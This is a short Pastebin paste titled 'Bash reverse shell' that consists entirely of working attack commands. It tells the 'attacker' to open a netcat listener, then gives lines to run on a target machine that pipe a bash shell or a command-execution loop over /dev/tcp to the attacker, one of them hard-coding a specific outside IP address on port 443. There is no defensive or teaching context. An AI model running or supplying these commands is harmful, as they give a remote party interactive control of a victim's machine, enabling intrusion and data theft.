Advertisement
R0lf_R1s1k0

Bash reverse shell

Nov 10th, 2016
382
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.31 KB | None | 0 0
  1. #Replace $IP and $PORT on the target machine with your IP and listening Port.
  2.  
  3. #Open Port on your (attacker) machine
  4. nc -lvvvnp $PORT
  5.  
  6. #Execute the following on the target machine:
  7. exec 5<>/dev/tcp/$IP/$PORT
  8. cat <&5 | while read line; do $line 2>&5 >&5; done
  9.  
  10. bash -i >& /dev/tcp/188.209.52.134/443 0>&1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement